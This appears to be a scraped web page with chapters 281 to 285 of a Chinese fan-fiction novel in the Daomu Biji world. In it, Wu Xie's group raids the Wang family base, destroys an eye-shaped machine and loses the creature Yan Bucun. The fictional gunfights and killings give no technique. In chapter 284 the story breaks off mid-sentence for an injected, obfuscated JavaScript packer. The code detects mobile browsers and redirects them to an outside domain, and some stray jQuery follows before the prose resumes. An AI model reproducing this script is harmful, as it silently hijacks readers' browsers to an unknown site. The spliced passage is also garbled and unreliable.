而胖子看着外头近乎吞没一切视野的冰碴，只觉得此行真是老天都看不下去汪家行当，随后，他便说道，“那好，待会儿下车便集合一起行动吧，只是咱们没听过那帮人的声音，不会露馅吧？” 吴峫的指尖在方向盘处轻点了下。 “小花把手机拿出来，我和你发了他们的声音合集，对应着脸给胖子听一遍，如果实在做不到，那就我们和其他人一起说话。”吴峫这么吩咐着解雨臣。 胖子接过录音，尽快熟悉起自己这张人皮面具主人的声音特色，待学了个七七八八后，才点了头，“差不多了，但天真，咱还是给祈灵小兄弟留一把枪，万一外围有汪家人埋伏可就毁了。” “留了，在后座下方，伸手捞一下就行。”吴峫将车停在了隐蔽地后，这么点明着。 而胖子显然没想到，吴峫竟真的是将一切安排好来的，他用食指点了半天，你你你的没说出来什么，最终揣着自己的一包压缩饼干和雷管下了车，“天真，我发现你真是长本事了啊，现在干什么都瞒着你胖爷了！” “该改口舌了，其实都是当着你汪东的眼皮子底下做的，只是你那会儿在车后方装货的来劲儿，所以才没看到。”吴峫边调侃着胖子，将车钥匙丢给张祈灵，随后继续道，“汪佳，记得我们出来的时候接应，开车带我们回家。” 张祈灵握着那微凉的钥匙，而上面的挂件，还是一只土里土气的小狗，他点头，可却还是跟着吴峫下了车。 “你待会儿换驾驶座就行了，没必要现在就……”正搬动背包的吴峫，就这么被张祈灵抱了个结实。 吴峫很少见到张祈灵这么依赖人的时候，或许，也可能是过去的自己从来没有给过张祈灵这样的机会，而在吴峫愣神的片刻之间，张祈灵已经将衍卜寸延展出来的红线，牢牢拴在了吴峫的小指上。 “别黏糊了，也抱抱我呀。”胖子轻捶在张祈灵的肩膀上，而张祈灵在点头后，又接连扒上胖子和解雨臣的怀抱，将红线缠的又紧又死，可却绝不到勒人的地步。 红线是一层常人看不见的保护。 而吴峫准备将张祈灵推到危险外围，可从未去想过，那么在乎他的一个人，从不会安分守己的只做到等待。 张祈灵脱离着众人，随后晃着手中的钥匙，装作听从命令的上了车，待所有人远行后，他才压着步调，跟在了后头。 反正易容录音都看了听了不是吗？张祈灵知道，自己这具身体的学习能力，远超于想象。 所以当吴峫带领着胖子等人混进去的时候，张祈灵也以敏捷的速度，从外面的通风管中钻入。 而在汪家外围的汪灿，接到古潼京计划返回四人的时候，运算部也推算出了目前吴峫的位置…… 目前，在吴山居的王盟，正顶着那属于吴峫的人皮面具，在潘子的保护下，向着九门透露出一个爆炸消息，那就是他找到了真正的古潼京，并且勘破了当初佛爷留在那里的秘密。 九门中汪家的卧底开始骚乱，并且将这个事上报给总部。 所以当汪小媛同时得到这个消息的时候，便和汪灿将回来的那四个人当成了肥肉一般的存在。 而站在汪家营地的吴峫，正在和胖子、解雨臣以及渡荆与汪家确认人员信息。 “汪秦，三十四岁，二月二十七号前往古潼京，三月四号归队，除却在场汪东、汪泽宇、汪古逞，剩余队友皆死亡……”吴峫报告着，并将渡荆手里抱着的铁笼的布揭开，里头的蛇正吐着信子，不悦的甩着尾巴。 而黑瞎子和小哥，正在从高处观察汪家的地形，身后倒着的，是已经被他们二人尽数杀掉的汪家人，但显然，他们已经从中看到了钻入汪家的小猫。 “我就知道祈会去的。”黑瞎子墨镜后的眸子眯着，忍耐着密林处仍下落的雨将发型压塌。 而小哥正戴着兜帽，目光灼灼的看着张祈灵离去的方向，“这里。” 他在问方位，黑瞎子听懂了，于是很快解答。 “是运算部，也是汪家的中心支柱，不过他不会傻到独自去闯，放心。”黑瞎子拍着小哥的背，而很快，两人便闪身从破绽处潜入其中。 另一边，吴峫所带来的怀有费洛蒙的蛇，很快让汪家人喜眉眼笑起来，为首的是一个面容凶人恶煞的男人，他搓着手，将那蛇笼接过，吩咐着身侧壮实的小弟，“快，将兄弟们领着去休息室吧。” 吴峫点头，随后便打算跟着那个健身的家伙走，可那人却歪头，掂了掂他们的背包。 “设备没坏？还背着呢。”汪小米将吴峫的背包拎了一下，“不愧是队长，这电报机还背的死死的呢，但怎么回来之前，没给咱们发信息来知会一声？” “外面的铺子信不过，路途遥远，走的小道，天寒路滑，空气湿润，坏的也就更彻底了。”吴峫不露声色的将道上黑话说的头头是道。 第一句说的是野路子的东西，上不了官家的台面，更别提修了，小道更是为了避九门人而行的偏僻，一时间拖的更久，所以便传递信息的速度更慢。 汪小米若有所思的点头，随后将吴峫所说的部分听进了心里，才放开试探的意思，把人往宿舍里带，边走边说着，“古潼京的事在杭州那边传开了，你们回来的事，那头还不知道，但已经在发电报了，到时候还得辛苦你们走一趟。” “是因为蛇体太小了吧？”解雨臣操着一口粗嗓说道。 走在前面的汪小米点头，“那家伙是不是因为你们人数太少了，带不回来？” “对。”吴峫点头，“它的体积比想象当中大，而且，队伍中能摄取费洛蒙的人，因为接受不了记忆的信息，所以死了。” 汪小米把宿舍门推开，“好，填补人员的事我会和上级说的，你们先休息吧。” 等汪灿接收消息往大本营赶的时候，张祈灵也到达了通风管道处，他的方位是正对运算部天花板上方，是能够得知吴峫等人有危险而快速逃离的地方。 而现在，他完全看清了底下运作在人群中心的机器。 那是一只有着巨大赤色瞳眸的眼球…… 第281章 砰的巨响 眼球似乎并没有任何的生命体征，连同上面所附着的血丝都只是在表面上呈现出活性。 但张祈灵虽知对方是死物，却还是盯紧着，并没有将精神松懈下去。 而下方处于忙碌中的汪家人，正不断的触碰着按钮。 随后，那球体瞳眸的颜色越发鲜艳，机器运转的声音也自脚下之后的墙体所响起，紧跟其后的是一串类似于摩斯电码的电流声，像是游蛇一样，在片刻时间窜动。 与此同时，王灿通过运算部的推算，得到吴峫目前还在吴山居的情况，但他还是没有放松警惕，直接带着汪小媛开车折返回基地，准备先去会一会从古潼京里出来的那小队人。 而就在汪灿重新踩上油门之际，张祈灵攥紧了那系在吴峫等人身上的红线，并且根据刚才所听到的波动去扯着。 身处于汪家寝室内的吴峫，很快感受到了手上传来的拉锯感，和张祈灵加入这里的再度失去掌控的惶恐情绪。 不过，待吴峫几个呼吸后，冷静下来，便分析出这是汪家的交流代码，而上一次经历十年计划的自己，才在后期好不容易掌握了一些破解的方法。 “这是什么意思？”并不了解的胖子，正疑惑地看着自己的大拇哥被拽的动来动去，他一时间完全想不起来，那是张祈灵用拥抱的片刻时间做出来的保障。 不过，解雨臣很快从自己指尖动的方向，顺着摸了一下，便知道是小祈留下来的小尾巴了。 但他却只是看了一眼胖子，示意其嘘声后，转头用暗语对着吴峫说道，“接下来古潼京之行还需要我们，折了那么多个弟兄，好不容易跑回来就不能歇息一会儿吗？” “你这话，可不能让人听到。”吴峫装作长辈一般，拍了拍解雨臣的肩膀，“既是为汪家效力，哪里有退缩的道理。” 话落后，吴峫在看到胖子的手还不断的被抻动的时候，又立刻开始找补，生怕这里的监控会发现异常，“你这手抖的毛病，进古潼京后就落下了，休息这几天给你好好找医生治治，老这么样，抬棺材都不用你。” 胖子知道，现在解雨臣和天真合着在作戏给别人看呢，于是赶紧搂着渡荆的肩膀，把自己的手藏进对方的身侧。 “好，都听队长的。”胖子郑重的点头。 而从另一边潜入其中的黑瞎子和小哥，已经将自己的衣服都换了一轮了。 汪家习惯性穿一身黑衣的多，便借来一套算不得强盗。 黑瞎子这么想着，便将刚才解决掉的放哨员踢进桶里，将其盖上后，自己抬着人家的长枪就站在那人的岗位上了。 而处于同样高地的小哥，看着黑瞎子这样顺其自然的隐藏行为，便也学了个十成十，跟着抱起别人的枪，在一旁站的和松柏似的。 不过，很快他们便意识到汪家又进人了，因为下方的大门敞开着，而一辆黑车迅速窜了进来。 黑瞎子眯着眼，发现人家开的那叫一个猛，扭头后才发现自己也就只能追着车辆后方的玻璃看了，而后座上坐着的人，留有利索的中短发，体型与肩宽看起来也是个女孩。 “叫什么来着。”黑瞎子用枪眼怼着蹭了一下眉尾，立马又冲着小哥眨巴眼，“是汪小媛，对了，那开车的就应该是那谁吧？” 原先的时间线，小哥还在门里呆着呢，自然听不清楚黑瞎子嘴里云里雾里的三言两语，便只是垂着眸子，看着汪家的大门关闭，而远处的青铜铃矩阵，被其中一个汪家人拿了个铃铛回来。 铃铛被小心翼翼的护着，随后进了大楼里。 小哥观察周围，在确认无人换岗后，便快步拉扯着黑瞎子跟在后头。 而很快，处于运算部中心的张祈灵就看到了一群人将铃铛提了进来，那青铜铃铛被放在了眼球面前，不知是因为磁场变化还是别的什么，竟一瞬间使得整个空间内产生巨大的能量波动。 为首的男人见情况不妙，差点摔了个屁股墩，但还是在彻底失态之前，直接抬手，就想教训那提铃铛的小弟。 可很快，原本关上的大门再次被推开。 而张祈灵第一眼，便发现那是汪灿。 王灿对于一阵哄闹的现状很是不满，便直接将那两个打算揪对错的人全都踹倒在地，并大吼着，“青铜铃是衍家留着保汪家不被发现的东西，用来给机器补充能量，简直就是杯水车薪，谁允许你们这么做了！” “上头，是上头说的……”还在呲牙咧嘴捂着肚子的小弟，立刻谄媚的回答。 而汪小媛不紧不慢的跟在后头，并没有叫汪灿消火，只是实事求是的说着，“既然是安排好的，那这铃铛也没用了，放在这里等着吸收当废品处理就好。” 随后，汪小媛在汪灿转身之前，将步伐加快，并在附在对方耳边说道，“基地不对劲，还没到时间，但哨岗刚才却换了人。” “你怎么不早说！”汪灿将腰间的枪拔了出来，便准备出去。 可汪小媛却摇头，“估计人已经潜进来了，可能有人走漏了风声。” “古潼京回来的那几个通风报信的？”汪灿立刻明白了汪小媛未点明的意思，所以在观看周围，确认完运算部的情况，便想要去宿舍楼那边。 但身后的汪小媛，却异常的敏锐抬头，且顺着通风管道的那处，像是不经意的看了一眼。 而与汪小媛似对视似错觉的张祈灵，也同样攥紧了手中的枪，并将那红线扽了两下，用铁三角所创出来的暗号，示意吴峫那边要来人了。 吴峫等人潜入其中，可不是为了瞎唠嗑的，在知道终于有能撑事的人要到了，便赶紧起身。 胖子三下五除二将门给卸了，声音也引动了巡逻的汪家人。 待那帮人走过来，胖子便咧嘴一笑，调侃着转移注意力，“嘿，这门太不结实了，没办法呀！” 而就在汪家人，还没搞懂胖子的强力拆卸还有说的是什么意思的时候，就见胖子直接一拳头凿人脸上，并把对方的枪掰地开了火，使得子弹直接穿过了另一个汪家人的颧骨和大脑。 砰的巨响，像是烟花炸开了一般。 第282章 别动 就在胖子毫不留情露出煞气的瞬间，汪家的警报也在他们飙飞的鲜血中，正要被汪小米拉响。 “是敌！” 还未等汪小米传递出消息，就见吴峫毫不犹豫地从胖子身后闪了出来，并利落地开枪爆了汪小米的头。 胖子从死人手上将步枪拔过来，回头和解雨臣击了个掌，“一起上啊，兄弟！此时不杀更待何时！” 看着他们将宿舍里的汪家挨个突突死的渡荆，只觉得自己如今的大心脏，有些受不起这样的刺激。 不过，汪家与九门的仇恨实属是正常的，吴峫等人这样潜伏进来后的铲草除根，渡荆也没什么身份去说，只能提着自己的药箱，默默的也拽了把枪跟在后头。 而待汪灿赶到宿舍区域的时候，才发现这里已经是一片狼藉。 鲜血像不要命一般的淌在肉眼可见之处，尸体遍地，无论精英还是老手，皆瞪着还未合上的眼。 “根据痕迹，我判断这群人向中心区域去了。”汪小媛冷静的分析着，“他们不可能是去古潼京的那一批，那帮家伙没有这个勇气对汪家动手。” 汪灿听到汪小媛的话，一手提着枪，腿跑的飞快，带着一批人手便想赶紧往回赶，但见他们这帮吃白饭的因为恐惧而愣在那里，立马逮着个人骂了一嘴，“看什么，再愣在这里，下一个死的就是你们，追啊！不能让他们把运算部毁了！” 就在汪灿说这话的时候，一根雷管以迅雷不及掩耳之势落在了他们的中间，汪灿和汪小媛闪身往后撤，可雷管的威力巨大，几秒钟的时间，就将尸体连带着还站着的人全部都冲到了墙上。 汪灿的脊背被狠狠重创，在爬起来的时候，只能感受到全身上下骨头震颤一般的疼。 而雷管带来的，硝烟一时间将他们的身形隐匿起来，汪灿见这场面并没有放松警惕，只是忍着痛赶快站着，将距离最近的汪小媛捞起来。 随后，汪灿的指尖打着电码，示意汪小媛刚才是他们瓮中捉鳖的空城计，其实人还在这里。 但就在汪灿和汪小媛准备移动着，从刚才进来的门出去的时候，却感觉脑袋后双双抵上了枪。 汪灿立刻蹲下，趁其不备打算开枪，却在下一秒被人硬生生踩住手背。 烟雾渐渐散去，解雨臣脸上的人皮面具已经沾了脏污的血，他用枪堵住汪灿的额头，并将人拎住后颈拽了起来，然后扭头问着吴峫，“怎么处理？” 上一次汪灿杀的太轻易了，导致留在九门里的汪家余孽还有一部分。 这么想着，吴峫便让胖子将汪小媛也控制住。 “带着一起去运算部。”吴峫这么说着，便招呼着众人一块往前走。 汪小媛看了一眼膀大腰圆的胖子，泄了对抗的想法，可汪灿显然不服从于吴峫的命令，哪怕被枪指着，也仍旧有那样的拼劲想要殊死一搏。 他一手扣住解雨臣的枪眼，用尽全力向上一掰，而就在吴峫转身，要对其开枪警慑时，汪灿却显然意识到了吴峫留下自己的用意，并赌准吴峫不敢开枪。 可谁知道，僵持之下的半秒钟，渡荆直接将两记镇定剂给汪灿和汪小媛打进去了。 “不就是想带着走吗？现在可以了。”渡荆将针管丢在后头，然后把汪灿背了起来，“我送他去车上，那姑娘你们找个人带着一起走吧。” “汪家怕我们跑，应该会在外面围堵的更加严重。”吴峫理性的说着。 胖子摇头，表示自己的想法：“既然小哥在外头，肯定会辟一条路出来，天真你带着花爷进去就行，我背着他们出去，正好锁车里当活人质，然后接大伙回家。” “话是没错，但如果看不到小哥和黑眼镜，就退回来找我们。”吴峫说完，又点了点胸口，“遇到危险回不来，就把雷管炸了，我和小花听到就去找你们。” “好。”胖子笑着点头，便立刻将汪小媛背在了身上，同渡荆一块冲了出去。 而为了保护最后的运算部，汪家人可谓是煞费苦心，人是来了一批又一批，层层把守。 张祈灵看到这情况，知道得提醒吴峫他们，并且还要知道目前大家的情况，于是拽动红线，将彼此交流用的暗号通过扯动来表达。 所以，这让正在向运算部赶去的吴峫，很快通过手部的牵引，得到目前运算部的情况。 按张祈灵所表达的，那就是人数增多了，而目前的小哥和黑瞎子还没出现在张祈灵的视野里，估计还在哪处找突破点呢。 吴峫正想着他们，张祈灵这边就见黑瞎子和小哥瞬间窜了出来。 汪家人还未看清他们的身影，就将子弹射了出来，可小哥还有黑瞎子已经混迹到了队伍里，并且在旁侧的人意识到不对后，立刻将自己的枪怼上了对方的头颅。 爆破声连带着鲜血，溅到了周围人的脸上，还处于应对外来危机的汪家人立刻齐转枪口。 “诶，都是同胞这么不好吧？”黑瞎子举起自己的双手，假装因为寡不敌众而臣服。 为首尚能管事的汪家男人，立刻反驳，“你杀的也是人，说什么同胞情谊！” 黑瞎子连忙笑着往后退，并给小哥递眼色，可谁知道对方已经不知道窜到哪里去了，搞的自己的脸一下子僵住了。 “有话好说，有话…我靠！”黑瞎子假装安抚他们，就见男人开了枪，自己腰扭成蛆一般才躲开。 而与此同时，小哥也将自己藏在衣服里的黑金古刀，从后背与衣料的缝隙中拔了出来，刀尖砍在了眼球后方，可那眼睛却快速如有生命般的转了过来。 就在小哥准备再落下一刀时，便听到这机器将自己的大名堂而皇之的爆了出来，“警告！黑瞎子出现！张启灵出现！！！” “我草，还会报大名，要不要这么智能？”黑瞎子用腿踹开面前人，并带倒了那男人身后的几个。 而等后方开始攻击时，黑瞎子则快速翻滚，从混乱的人群中溜了出来，并用扫堂腿又撂倒了站着的四五个家伙。 张祈灵见黑瞎子独自处理形势不妙，便赶紧从通风管道处如游鱼一样滑了下来，并赶紧到小哥的身边伸出手，“软刃。” 小哥没想过张祈灵会下来，甚至这样的现身，并不再只是为了吴峫的安危。 但他并没有让张祈灵这个伤员上场的打算，甚至，虽然自己揣着弟弟的武器，但并不等同于放心张祈灵去厮杀和犯险。 于是，小哥趁着汪家人的注意力还在与黑瞎子周旋之际，并没有从中抽出空闲顾及这边，便一扯直将张祈灵按到怀里。 “别动。”小哥的声音很轻。 可张祈灵却从中听出了一丝不易察觉的气焰。 第283章 检测到两个…… “我可以。”张祈灵将手伸了出来，试图以仰躺的身位从小哥那里将武器拔出来。 可小哥却快速单手压制了张祈灵的动作，并将其腕骨扣在地上，随即抬起自己的手臂，与已经反应过来冲到这边的汪家人兵刃相交。 刺耳的冷兵器，撞上火热的子弹，剧烈的摩擦与细微蔓延的烟雾，让这个角度下的张祈灵看清了小哥愠怒的神情。 也许，张祈灵这样的人，永远都不可能懂得小哥于这一刻究竟在想什么，哪怕是拥有相似的躯壳也不行。 而快速扯着张祈灵躲避开下一次攻击的小哥，已然将张祈灵推到了角落里，逼仄其中的张祈灵想要出来，却被小哥死死拦臂挡住。 黑瞎子百忙之中又抢了对双枪，解决周围大部分人后，才抽闲看了张祈灵这头一眼，结果比自己喉咙里先滚出声音的，竟然是那已经被小哥凿了一刀的猩红眼球。 “警告！张启灵出现！滋，滋滋……系统运作错误，检测到两个……” 小哥现在正用黑金古刀将面前的汪家人砍伐尽，动作间尽是张祈灵和黑瞎子都未见过的暴戾。 但在那机器，即将把掩藏在小哥身后的张祈灵吆喝出来的时候，小哥便在张祈灵颤动又不解的眸光中，将腰间软刃迅速向那眼球掷了过去。 纤薄的刀片，因为小哥投出的力道巨大，所以在飞跃过程里，整个刃身呈波浪形，但角度平行，并不影响它要击中的目标。 当它在以一个惊人的速度，擦着即将倒下去的汪家人的脸颊，并插入其背后的眼球的时候，黑瞎子全程行注目礼，甚至还没来得及喘进下一口气。 而命中的刹那间，那制作的仿生眼白外皮，很快破裂开，其内部除了冒出来的电线外，还有数不清的卵，正带着黏糊的褐色孵化液，像是鲜血连带着碎肉的一块往下淌。 黑瞎子紧急撤步，生怕自己新买的进口皮鞋被污染，却在移动时，突然感觉自己的脖颈被冰凉的东西冻了一下。 他赶紧回头，怕是汪家又带着人来了，甚至险些将手里的扳机扣下，却在目光一定后，发现身后是赶来的吴峫等人。 而紧贴在皮肤上的家伙，也不过是解雨臣的龙纹棍而已，甚至对方只是想让自己往侧面让步罢了。 于是，黑瞎子点头，示意屋内汪家人俱损没有威胁以后，才敢让他们进来。 “那东西和我想的差不多的。”黑瞎子半握拳，用大拇指做了个示意朝那边看的手势，然后继续说道，“最初鄢啸南来这里的时候，就和汪家合作了，然后留下了这个东西来推测事物。” 吴峫点头，表示自己清楚黑瞎子想要表达的意思，随后踏着汪家人的尸体往前趟路，问道，“那里头是什么东西，你看了吗？” “看了。”小哥少见的接了话，并将张祈灵的手腕攥住。 随后，他快步将软刃抽了出来，并把上面沾染的脏污在袖子上抹干净后，才递还给张祈灵。 而张祈灵显然不太理解刚才小哥为什么不让自己拿刀，也不懂无力自保下的任他人保护，究竟是为何，但现下考虑这些都不是自己应该想的。 于是，张祈灵仔细地又看了一遍那眼球内的物质，想要从中看出不一样的东西，以此向吴峫来表示自己能干的很。 可目光垂下后，张祈灵却突然感觉自己的手背一阵灼烫，而等他反应过来这是衍卜寸的信号时，却见原本缠在吴峫等人的红线，正回归到了衍卜寸的卵壳里。 紧接着，一阵强大的力量，将自己直拽的踉跄。 而就是这几步之下，幸得小哥眼疾手快，用刀尖撑在眼球外壳，才没让自己一头栽进去喝浓汤。 “怎么回事，是卜寸对这东西有反应吗？”吴峫看出了不对劲，便将视线立刻移向张祈灵手套处突出的位置。 而安分躺在那里的衍卜寸，似乎因为触及到同等能量几近失控，他的红线不断像是延伸出来的神经触须，漫无目的地缠绕起整个空间。 解雨臣率先意识到了这种情况，就和自己当初在别墅里砸不开门一样，源于衍卜寸将类似麒麟血的物质摄入过多，而产生的放射反应一样。 于是他赶紧喊出声，“再不出去，这里待会儿就封上了！” 可张祈灵原本还能控制的手，如今像是背面长了个大嘴一样，正不断的因为饥饿，想要更深入的去啃食那些对他来讲已经超负荷的东西。 小哥见情势不妙起来，赶紧钳住张祈灵的手肘，打算将人往外拔，可衍卜寸本能若带来的汲取，或是那片体内陨铜对于强大力量的渴望，竟让张祈灵的手臂深深绞进了那堆褐色分泌物里。 “一块来！”黑瞎子赶紧丢下两手上攥着的枪，赶紧揽住张祈灵的腰，就差将人像根葱似的拔起来了。 可张祈灵却在小哥与黑瞎子的齐力下，清晰看见面前那些飘散的红线，正在聚拢，并拧成如同何罗鱼一样的触手，且在短短几秒钟的时间里，快速地朝着相悖的另一个方向冲了出去。 大门……是大门！ 吴峫和解雨臣原本想要帮着搭把手，可谁知道，刚抬脚就感觉一阵强风掠了过去，直像将人狠狠抽了个大巴掌。 心中顿时感觉不妙的吴峫，却没法看见衍卜寸幻化出来的东西，所以他连忙追问黑瞎子和小哥，“你们看到什么过去了吗？” “有一些线跑出去了！等等，你们是让胖子和渡荆那老头同行了吗？”黑瞎子看着已经被撞的破损的门，还有张祈灵手上这边两头跑的衍卜寸，顿时分析出了情况，“渡荆那家伙身上带着另一片小陨铜，他主动给了倒好，就怕护着打算研究，到时候和衍卜寸那帮不长眼的麻绳打一架！” 而此时此刻，被黑瞎子提及的主人公渡荆，正在背着汪灿，躲避汪家外围血雨腥风的围剿，可却突然感觉到了一种莫名而来的危机感，让他陡然将背上的人一扔。 胖子见渡荆这倒拔垂杨柳，拿汪灿当沙包丢的模样，立刻伸手吱哇乱叫地去接人，并骂着，“你背不动给我呀，别扔哇！人家天真要的是活口，活口懂不懂？你别拿人质当牲口啊！” 但就在胖子嘴皮子溜个不停的时候，渡荆已经提前侧过身，将胖子也扯了一下，而他们刚才所站的位置，却突然像是被坠落下来砸中，裂了个令人惊诧的深邃沟壑。 第284章 讨厌你 还在房檐与门上伏击的汪家人，竟也为这样的场面而瞠目结舌。 或许是过去从未遇到过这样的超自然现象，让彼此在对视之间，只有对未知事物的恐惧。 可能够代替领头羊的汪倬还是一鼓作气跳了下去，并将自己的枪眼对准了差点仰壳的胖子头上，但下一秒，就感觉自己的枪被击飞，连同腕骨也瞬间被砸断。 汪倬定睛一看，才发现那是外壳龙纹的棍子。 “谢家，解雨臣！”汪倬立刻认出了来人。 而冲出来的解雨臣还有吴峫，马上将胖子和渡荆护在了身后，可前面是汪家人的围堵，后头是衍卜寸失控状态下的疯狂，进退两难之间，让吴峫咬紧牙关，用疼痛保持清醒后，赶紧说道，“先把他们解决，再带人出去。” “现在放下，被搬走了怎么办？！”胖子佝偻着腰背着汪小媛，俯身抱着汪灿的模样可谓是相当滑稽了。 吴峫开了枪，将汪倬一击毙命，过去所隐藏的暴戾，与对汪家人的仇恨，在此刻迸发出来，“那就趁他们近身前，全部杀掉。” “听你的。”胖子将人撂在地上，随后在吴峫和解雨臣的掩护下，用绳子将汪灿和汪小媛绑在了一起，并推在了沙袋后。 紧接着，胖子才继续抬起下巴，打算问其他人是不是还有别的事，就见解雨臣闪身将龙纹棍捡了起来，并一棒棒的捶下了汪家人的枪。 情况紧急下，胖子只能抿紧唇，抓起地上落着的枪就开始扫射，密集的**对撞，一时间分不清在激荡黄沙迷眼下究竟谁是谁。 而在运算部的张祈灵，只感觉自己的手套被那些腐化物一般的东西泡透了，衍卜寸的攻击不是对自己的，但是那些线从自己的皮上划过时，总是能够感受到颤动。 无法用于自身的力量，产生出排异反应，并激烈的开始攻击外部。 黑瞎子想要拔出张祈灵，却被红线抽了一鞭，瞬间，脸颊流过电经过一样的疼，渗出血丝后往下淌到唇角，让他下意识舔了舔。 许久没感受到这样的危机感，着实让黑瞎子在担忧中也生出了一种兴奋。 于是，黑瞎子与小哥对视后，确认小哥能够将张祈灵的手挪动几分后，便在张祈灵还未回神的目光中，扛起枪便往里打了一梭**。 既然衍卜寸想要的是这些卵，那便让这些卵毫无用处就好了，可谁知道，随着黑瞎子将卵击破的越来越多，衍卜寸的动静消停下去，可那些液体也开始蔓延出来。 原本闻不到的气息，如今就像鲱鱼罐头混合着臭豆腐般，散发着一股像是呕了整个夏天的尸体糜烂味，任张祈灵在彻底拔出手的时候，也差点吐出来。 可张祈灵还是撑着精神，将自己的手套快速拆开，将衍卜寸拿了出来，而衍卜寸在吸收到足够的能量后，已然开始变得像水煮蛋一样的热，烫手的让张祈灵差点没握住。 但很快，衍卜寸又开始变亮，连同外壳都变得透明，正当张祈灵从中看到了那小小的人形，以为是衍卜寸即将破壳之际时，却看到一片藏匿其中的锐利碎片已经超过了衍卜寸的体型。 巨大的力量在这个如同罗鱼一样的卵里对撞，并在澄澈刺眼的猩红中，那抹渺小的小章鱼身体抽动了一下，随后归为沉寂。 张祈灵的眸子颤动，知道这是陨铜在吞噬能量后，觉得自己能够代替衍卜寸这个宿主的表现，可他却不能将珠子劈开，毕竟谁也料不出之后的结果。 而张祈灵这往地上一坐，捧着衍卜寸的模样，便让黑瞎子立刻将人扯了起来，“此地不宜久留，得先和徒儿他们会合。” “衍，衍卜寸……”张祈灵跟随着黑瞎子和小哥往外冲的过程中，将衍卜寸的名字说的磕磕巴巴的。 他忍着珠子灼热的温度将其攥紧。 小哥扭头，看到张祈灵惶恐的模样，便知道他在怕什么了，可张祈灵将衍卜寸护的很紧，令人看不清具体的情况，“怎么？” “坏，坏掉了！”张祈灵努力措辞，可自己的手腕在黑瞎子手里，步伐也在翻过一个又一个尸体后而停不下来。 等到所有人重新聚拢后，张祈灵才在满是汪家尸体的中间处落脚。 他专注的盯着手里已经暗下去的红玉珠，却看不到那小章鱼欢快的身影和任何抽条的红线。 与此同时，张祈灵入眼的，是全世界都被鲜血覆盖，连空气里混合的也只有众人的汗液气息。 风毫不留情的刮起黄沙，弹动着张祈灵这次丝毫未茹毛饮血的软刃。 “他…回不了家了吗？” 张祈灵在问出口的时候，只感觉这声音不像是从自己的喉咙里滚出来的，因为那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415161|163500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种过去从没有的艰难与哽咽，带着心口不明抽痛的疼。 半晌，他才从自己磕磕绊绊的结巴里抬头，并与众人心疼到泛泪目光对视，却从中看到了过去自己从未理解到的惋惜。 张祈灵不理解，甚至还带着些许错愕的再次下移视线，却从自己摊开的掌心中，察觉到那颗珠子的身影已然不见。 那留下的，只有一小块形同眼睛的红色碎片。 这是衍卜寸与陨铜彻底融合的迹象，衍卜寸已经和那个不明的力量交织在一起了，连自己本身的面目都没了。 张祈灵不想信，于是死死地看着那块不会动的坏石头，而湿润的液体，则从眼眶里异样的流了出来。 他想要拿袖口去擦，却被吴峫按住其污泞的手臂。 可那还攥在手里的软刃，却亮利地照应出自己泛红的眼睛，里头荡漾的仍是对这个世界的不理解和对衍卜寸离开的不知所措。 虽然张祈灵是不懂衍卜寸的爱，可不代表他不记得衍卜寸的好。 毕竟，衍卜寸是个对他无条件纵容的人，是在过去相处里，从一开始让自己顾虑，到最后，令这样只分的清好家伙和坏家伙的自己，也将其称作好家伙的人。 衍卜寸会说一些莫名其妙的话，会写一些晦涩难懂的文字，会用那明明看不清一切皮囊的眼睛，专注地盯着灵魂本质的自己。 他的手是温暖的，连镜片的反光都是柔和的，他还是个很会捧场的人，不像自己这么嘴笨，他会把胖子做的事物都吃的干干净净，然后笑眯眯的主动去收拾碗筷。 他不爱说话，但是会不吝啬的夸自己喝奶茶也无师自通的厉害，哪怕自己多无趣，只喜欢在院子里晒一下午的太阳，他也觉得自己这样的懒家伙，是全天下第一好的阿祈。 “先回去，让渡荆用仪器看一下。”吴峫见张祈灵情绪不对，便将他的手压下去，随后拍了拍对方的肩膀，干涩的安慰着，“卜寸会没事的，会一起回家的。” 张祈灵听到吴峫的话，却一直瘪嘴盯着掌心中的碎片，眼泪啪嗒的落，心里不舒服的厉害。 衍卜寸…… 你又一言不发变小了，而且还丢下我们，变成自己一个人离开的坏家伙了， 我讨厌你， 讨厌你。 （全文完） 第285章 他们在等你……回家 衍卜寸躺在虚无缥缈的空间里，却发现这里骤然下起了瓢泼大雨。 可当那些雨珠顺着自己的脸颊滑下去的时候，一反常态，是带有莫名温热的。 衍卜寸疑惑地在皮肤上楷了下，但头顶落下来的液体却越来越多了，于是他撑起已经有些松软的身体，顺便用手遮住额头，防止不停歇的大雨迷了眼。 可很快，面前的空间便撕扯开了个大口。 衍卜寸略微探身，却陡然被突然翻了一轮回来的红眼给看的定在原地，这个天外来物般的家伙，应该早就应该毁灭了。 可现今，衍卜寸抬头，能够清晰的辨别出，这家伙绝对不是假的，因为在自己眼里，那属于烛龙的灵魂之色，正以微弱的动作在瞳孔里摇曳。 “没想到，还能见到我是吗？”红眼的声音是从四面八方来的。 衍卜寸听的头皮有些发麻，但还是能够从中感觉出对方的疲倦，他蹙眉，冷漠地回答着，像是要让对面的家伙交代临终遗言一样，“可你即将要消失了，如果想要说什么，那就尽快讲明白吧。” “是觉得，自己会被陨铜吞噬，而只催促于我的时间，想让我多吐出来点儿信息？”红眼眨巴着，几秒钟连上面的虹膜也开始逐渐褪色了。 衍卜寸摇头，但并不是用这样的行为来妥协于红眼，只是再次用言语坚定自己的立场，“你早晚都会消失，连同我一起，谁也别觉得自己有多重要。” “别这么悲观，如果说，我能帮你融合进陨铜的力量呢？我不信外面没有你想见的人。”它说着，眼睛闭合的速度加快了些，更是探的离衍卜寸更近了一些。 原本不甚感觉灼热的灵魂之火，竟然在此时变得难以忍受，衍卜寸往后退了一步，可腰却被莫名的力量所揽住，还来不及挣扎，便见红眼的瞳仁处探出了无数张牙舞爪的红线，直至在半秒的时间里窜成一股绳，朝着自己的眉心处刺来。 剧烈的疼痛并没有降临在衍卜寸的身上。 